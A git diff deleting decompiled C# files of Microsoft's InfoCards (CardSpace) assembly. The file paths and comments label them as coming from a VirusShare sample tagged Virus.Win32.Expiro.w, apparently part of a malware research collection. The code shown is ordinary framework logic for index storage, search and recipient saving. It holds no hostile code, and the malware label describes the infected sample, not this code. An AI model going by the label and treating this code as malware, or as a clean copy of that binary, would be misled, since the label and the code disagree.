C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveRecipientRequest : UIAgentRequest - { - private Recipient m_recipient; - - public SaveRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null RPC handle"); - InfoCardTrace.Assert(null != inArgs, "Null InArgs"); - InfoCardTrace.Assert(null != outArgs, "Null outArgs"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "Null inArgs"); - this.m_recipient = new Recipient(this.InArgs); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(null != this.m_recipient, " Null Recipient"); - connection.BeginTransaction(); - try - { - this.m_recipient.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndex.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndex.cs deleted file mode 100644 index d3b006e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndex.cs +++ /dev/null @@ -1,334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndex -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndex - { - private byte[] m_buffer; - private int m_lastIndex; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - private SecondaryIndexDefinition m_definition; - private bool m_isOpen; - - public SecondaryIndex( - SecondaryIndexDefinition definition, - IComparer search, - IComparer sort) - { - if (definition == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definition)); - if (search == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (search)); - if (sort == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (sort)); - this.m_definition = definition; - this.m_searchComparer = search; - this.m_sortComparer = sort; - this.Clear(); - this.m_isOpen = true; - } - - public SecondaryIndexDefinition Definition - { - get - { - this.ThrowIfNotOpen(); - return this.m_definition; - } - } - - public int LastIndex - { - get - { - this.ThrowIfNotOpen(); - return this.m_lastIndex; - } - } - - public byte[] GetBuffer() - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - - internal void SetValuesForId(int id, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - IndexObject[] array = indexBuffer[this.m_definition.Name].ToArray(); - if (remove) - this.RemoveForIdAndShiftData(id); - if (array == null || array.Length == 0) - return; - for (int index = 0; index < array.Length; ++index) - { - if (!array[index].IsCompiled) - { - if (!array[index].CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - array[index].Compile(this.m_definition); - } - this.ValidateIndexValue(array[index].CompiledForm); - this.ShiftAndInsertValues(id, array[index].CompiledForm); - } - } - - public void RemoveAllValuesForId(int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - this.RemoveForIdAndShiftData(id); - } - - public unsafe void PopulateRowIndexBuffer(DataRowIndexBuffer buffer, int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - if (-1 == this.m_lastIndex) - return; - List indexObjectList = new List(); - fixed (byte* numPtr = &this.m_buffer[0]) - { - for (int index = 0; index < this.m_lastIndex + 1; ++index) - { - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - byte[] numArray = new byte[60]; - Marshal.Copy((IntPtr) (void*) &((SecondaryIndexItem*) numPtr)[index].HashValue, numArray, 0, 60); - indexObjectList.Add(new IndexObject(numArray)); - } - } - if (indexObjectList.Count > 0) - buffer.SetIndexValues(this.m_definition.Name, indexObjectList.ToArray()); - } - } - - public void Close() - { - if (!this.m_isOpen) - return; - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_isOpen = false; - } - - public void ValidateIndexValue(byte[] indexValue) - { - if (SecondaryIndexSettings.Nullable != (this.m_definition.Settings & SecondaryIndexSettings.Nullable) && SecondaryIndex.IsBufferEmpty(indexValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreNullIndexValueNotPermitted", (object) this.m_definition.Name))); - } - - public void SetBuffer(byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - this.m_buffer = buffer; - this.m_lastIndex = lastIndex; - } - - public unsafe int Match(IndexObject obj, LocalIdCollection collection, int low, int high) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (collection == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (collection)); - if ((uint) low > (uint) high) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (low), (object) low, SR.GetString("StoreLowValueOutOfRange"))); - if ((uint) high > (uint) this.m_lastIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (high), (object) high, SR.GetString("StoreHighValueOutOfRange"))); - if (!obj.IsCompiled) - { - if (!obj.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - obj.Compile(this.m_definition); - } - this.ValidateIndexValue(obj.CompiledForm); - SecondaryIndexItem secondaryIndexItem; - Marshal.Copy(obj.CompiledForm, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - return this.Match(&secondaryIndexItem, collection, low, high); - } - - public void Clear() - { - this.m_buffer = new byte[sizeof (SecondaryIndexItem) * this.m_definition.InitialSize]; - this.m_lastIndex = -1; - } - - private unsafe void RemoveForIdAndShiftData(int id) - { - if (-1 == this.m_lastIndex) - return; - int num1 = this.m_lastIndex + 1; - int num2 = 0; - int index = 0; - fixed (byte* numPtr = &this.m_buffer[0]) - { - do - { - InfoCardTrace.Assert((uint) num2 < (uint) this.m_buffer.Length, "currentOffset is invalid or has been corrupted."); - InfoCardTrace.Assert(0 == num2 % sizeof (SecondaryIndexItem), "currentOffset is not aligned proppertly. This can cause data corruption."); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr <= (long) (num1 * sizeof (SecondaryIndexItem)), "Current IndexPointer has walked beyond the total count of valid data."); - index = num2 / sizeof (SecondaryIndexItem); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "Current IndexPointer has walked beyond the allocated buffer"); - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - if (num1 != index + 1) - { - InfoCardTrace.Assert(this.m_lastIndex >= 0, "LastIndex indicates an invalid state for the index"); - Array.Copy((Array) this.m_buffer, num2 + sizeof (SecondaryIndexItem), (Array) this.m_buffer, num2, (num1 - (index + 1)) * sizeof (SecondaryIndexItem)); - Array.Clear((Array) this.m_buffer, this.m_lastIndex * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem)); - } - else - Array.Clear((Array) this.m_buffer, num2, sizeof (SecondaryIndexItem)); - --this.m_lastIndex; - --num1; - } - else - num2 += sizeof (SecondaryIndexItem); - } - while (num2 / sizeof (SecondaryIndexItem) < num1); - } - } - - private unsafe void ShiftAndInsertValues(int id, byte[] indexValue) - { - InfoCardTrace.Assert(id > 0, "Invalid LocalId"); - InfoCardTrace.Assert(null != indexValue, "Null indev value passed"); - InfoCardTrace.Assert(indexValue.Length == 60, "Index buffer is not correct size."); - SecondaryIndexItem secondaryIndexItem; - secondaryIndexItem.LocalId = id; - Marshal.Copy(indexValue, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - this.AddItem(&secondaryIndexItem); - } - - private static bool IsBufferEmpty(byte[] hash) - { - for (int index = 0; index < hash.Length; ++index) - { - if (hash[index] != (byte) 0) - return false; - } - return true; - } - - private unsafe int BSearch( - SecondaryIndexItem* pMatch, - IComparer comp, - int lowStart, - int highStart) - { - int num1 = lowStart; - int num2 = highStart; - fixed (byte* numPtr = &this.m_buffer[0]) - { - while (num1 <= num2) - { - int num3 = (num2 + num1) / 2; - int num4 = comp.Compare((IntPtr) (void*) pMatch, (IntPtr) (void*) ((SecondaryIndexItem*) numPtr + num3)); - if (num4 == 0) - { - num2 = num3; - if (num2 == num1) - return num2; - } - else if (num4 < 0) - num2 = num3 - 1; - else - num1 = num3 + 1; - } - } - return ~num1; - } - - private unsafe int Match( - SecondaryIndexItem* pMatch, - LocalIdCollection results, - int lowStart, - int highStart) - { - int index = this.BSearch(pMatch, this.m_searchComparer, lowStart, highStart); - if (index >= 0) - { - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert(index * sizeof (SecondaryIndexItem) < this.m_buffer.Length, "Index has moved beyond the allocated buffer."); - do - { - results.Add(((SecondaryIndexItem*) numPtr)[index].LocalId); - ++index; - } - while (index <= this.m_lastIndex && this.m_searchComparer.Compare((IntPtr) (void*) ((SecondaryIndexItem*) numPtr + index), (IntPtr) (void*) pMatch) == 0); - } - --index; - } - return index; - } - - private unsafe void AddItem(SecondaryIndexItem* pMatch) - { - InfoCardTrace.Assert(IntPtr.Zero != (IntPtr) pMatch, "Match pointer is null"); - InfoCardTrace.Assert(pMatch->LocalId > 0, "Match pointer has invalid local id"); - int num1; - if (SecondaryIndexSettings.Unique == (this.m_definition.Settings & SecondaryIndexSettings.Unique)) - { - num1 = this.BSearch(pMatch, this.m_searchComparer, 0, this.m_lastIndex); - if (num1 >= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUniqueIndexConstraintBroken", (object) this.m_definition.Name))); - } - else - num1 = this.BSearch(pMatch, this.m_sortComparer, 0, this.m_lastIndex); - if (num1 >= 0) - return; - int index = ~num1; - int num2 = this.m_lastIndex + 1; - int num3 = this.m_buffer.Length / sizeof (SecondaryIndexItem); - if (num2 + 1 >= num3) - this.GrowIndex(); - if (index < num2) - { - int num4 = num2 * sizeof (SecondaryIndexItem); - int sourceIndex = index * sizeof (SecondaryIndexItem); - int destinationIndex = sourceIndex + sizeof (SecondaryIndexItem); - int length = num4 - sourceIndex; - InfoCardTrace.Assert(length > 0, "No Bytes to copy into index."); - Array.Copy((Array) this.m_buffer, sourceIndex, (Array) this.m_buffer, destinationIndex, length); - } - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "IndexPointer is beyond the end of the allocated buffer"); - ((SecondaryIndexItem*) numPtr)[index] = *pMatch; - } - ++this.m_lastIndex; - } - - private void GrowIndex() - { - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_buffer.Length, sizeof (SecondaryIndexItem), 5); - InfoCardTrace.Assert(increaseByPercent > this.m_buffer.Length && 0 == increaseByPercent % sizeof (SecondaryIndexItem), "New size calculated for index is invalid."); - int length = (this.m_lastIndex + 1) * sizeof (SecondaryIndexItem); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, length); - Array.Clear((Array) this.m_buffer, 0, length); - this.m_buffer = destinationArray; - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndex))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexDefinition.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexDefinition.cs deleted file mode 100644 index 65b3f32e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexDefinition.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexDefinition -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SecondaryIndexDefinition - { - public const string GlobalIdIndex = "ix_globalid"; - public const string ObjectTypeIndex = "ix_objecttype"; - public const string NameIndex = "ix_name"; - public const string RecipientIdIndex = "ix_name"; - public const string ProductionServiceIndex = "ix_production_svc_uri"; - public const string ParentIdIndex = "ix_parentid"; - public const string MasterKeyIndex = "ix_masterkey"; - public const string SupportedClaimIndex = "ix_supportclaim"; - public const string SupportedAuthIndex = "ix_supportauth"; - private static readonly SecondaryIndexDefinition[] s_masterIndexes = new SecondaryIndexDefinition[8] - { - new SecondaryIndexDefinition("ix_globalid", 10, 20, SecondaryIndexSettings.Unique, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_objecttype", 10, 20, SecondaryIndexSettings.None, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_name", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_production_svc_uri", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_parentid", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_masterkey", 10, 20, SecondaryIndexSettings.Nullable | SecondaryIndexSettings.Unique, Canonicalizers.BinaryWithHashing), - new SecondaryIndexDefinition("ix_supportclaim", 50, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseSensitiveWithHashing), - new SecondaryIndexDefinition("ix_supportauth", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary) - }; - private int m_initialSize; - private int m_growthFactor; - private SecondaryIndexSettings m_settings; - private string m_name; - private ICanonicalizer m_canonicalizer; - - private SecondaryIndexDefinition( - string name, - int initialSize, - int growthFactor, - SecondaryIndexSettings settings, - ICanonicalizer canonicalizer) - { - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - if (initialSize <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (initialSize), (object) initialSize, SR.GetString("StoreIndexInitialSizeInvalid"))); - if (canonicalizer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (canonicalizer)); - if (growthFactor <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (growthFactor), (object) growthFactor, SR.GetString("StoreIndexGrowthFactorInvalid"))); - this.m_initialSize = initialSize; - this.m_growthFactor = growthFactor; - this.m_settings = settings; - this.m_name = name; - this.m_canonicalizer = canonicalizer; - } - - public static SecondaryIndexDefinition[] MasterIndexes => SecondaryIndexDefinition.s_masterIndexes; - - public ICanonicalizer Canonicalizer => this.m_canonicalizer; - - public string Name => this.m_name; - - public int InitialSize => this.m_initialSize; - - public int GrowthFactor => this.m_growthFactor; - - public SecondaryIndexSettings Settings => this.m_settings; - - public static SecondaryIndexDefinition GetByName(string name) - { - for (int index = 0; index < SecondaryIndexDefinition.s_masterIndexes.Length; ++index) - { - if (SecondaryIndexDefinition.s_masterIndexes[index].Name == name) - return SecondaryIndexDefinition.s_masterIndexes[index]; - } - return (SecondaryIndexDefinition) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexItem.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexItem.cs deleted file mode 100644 index fd090a1b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexItem.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexItem -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 64)] - internal struct SecondaryIndexItem - { - public const int StructSize = 64; - public const int HashValueSize = 60; - public const int LocalIdSize = 4; - public const int HashValueOffset = 0; - public const int LocalIdOffset = 60; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] - [FieldOffset(0)] - public byte HashValue; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int LocalId; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexList.cs deleted file mode 100644 index 3485d6ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexList.cs +++ /dev/null @@ -1,203 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndexList - { - private Hashtable m_indexes; - private bool m_isOpen; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - - public SecondaryIndexList(SecondaryIndexDefinition[] definitions) - { - if (definitions == null || definitions.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definitions)); - this.m_indexes = new Hashtable(definitions.Length, (IEqualityComparer) StringComparer.Create(CultureInfo.InvariantCulture, false)); - this.m_sortComparer = (IComparer) new SecondaryIndexList.SortComparer(); - this.m_searchComparer = (IComparer) new SecondaryIndexList.SearchComparer(); - for (int index = 0; index < definitions.Length; ++index) - this.m_indexes.Add((object) definitions[index].Name, (object) new SecondaryIndex(definitions[index], this.m_searchComparer, this.m_sortComparer)); - this.m_isOpen = true; - } - - public int Count - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes.Count; - } - } - - internal Hashtable InnerIndexes - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes; - } - } - - public void SetBuffer(string indexId, byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer)); - if ((uint) lastIndex > (uint) buffer.Length && lastIndex != -1) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (lastIndex), (object) lastIndex, SR.GetString("StoreLastIndexOutOfRange"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).SetBuffer(buffer, lastIndex); - } - - public void SetValuesForId(int localId, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (localId < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (localId), (object) localId, SR.GetString("StoreLocalIdOutOfRange"))); - if (indexBuffer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (indexBuffer)); - this.PreValidateIndexBuffer(indexBuffer); - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).SetValuesForId(localId, indexBuffer, remove); - } - - public bool Match(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfNotOpen(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (!this.m_indexes.ContainsKey((object) match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (match), (object) match.IndexName, SR.GetString("StoreIndexNameInvalid"))); - SecondaryIndex index1 = (SecondaryIndex) this.m_indexes[(object) match.IndexName]; - if (-1 == index1.LastIndex) - return false; - bool flag = false; - for (int index2 = 0; index2 < match.Count; ++index2) - { - IndexObject indexObject = match[index2]; - if (index1.Match(indexObject, localIds, 0, index1.LastIndex) >= 0) - flag = true; - } - return flag; - } - - public void PopulateRowIndexBuffer(DataRow row) - { - this.ThrowIfNotOpen(); - DataRowIndexBuffer indexBuffer = row.IndexBuffer; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).PopulateRowIndexBuffer(row.IndexBuffer, row.LocalId); - } - - public void RemoveAllValuesForId(int id) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - this.RemoveAllValuesForId(key, id); - } - - public void RemoveAllValuesForId(string indexId, int id) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).RemoveAllValuesForId(id); - } - - public void Close() - { - if (!this.m_isOpen) - return; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).Close(); - this.m_isOpen = false; - } - - private void PreValidateIndexBuffer(DataRowIndexBuffer buffer) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - { - SecondaryIndex index = (SecondaryIndex) this.m_indexes[(object) key]; - if (SecondaryIndexSettings.Nullable != (index.Definition.Settings & SecondaryIndexSettings.Nullable) && (buffer[key] == null || buffer.GetValueCount(key) == 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexValueCanNotBeNull", (object) index.Definition.Name))); - } - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndexList))); - } - - private class SearchComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SearchComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SearchComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return 0; - } - } - - private class SortComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SortComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SortComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return pObj1->LocalId - pObj2->LocalId; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexSettings.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexSettings.cs deleted file mode 100644 index 861d3148..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexSettings.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexSettings -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum SecondaryIndexSettings - { - None = 0, - Nullable = 1, - Unique = 2, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecurityKeyTypeInternal.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecurityKeyTypeInternal.cs deleted file mode 100644 index 78325f60..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecurityKeyTypeInternal.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecurityKeyTypeInternal -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum SecurityKeyTypeInternal - { - SymmetricKey, - 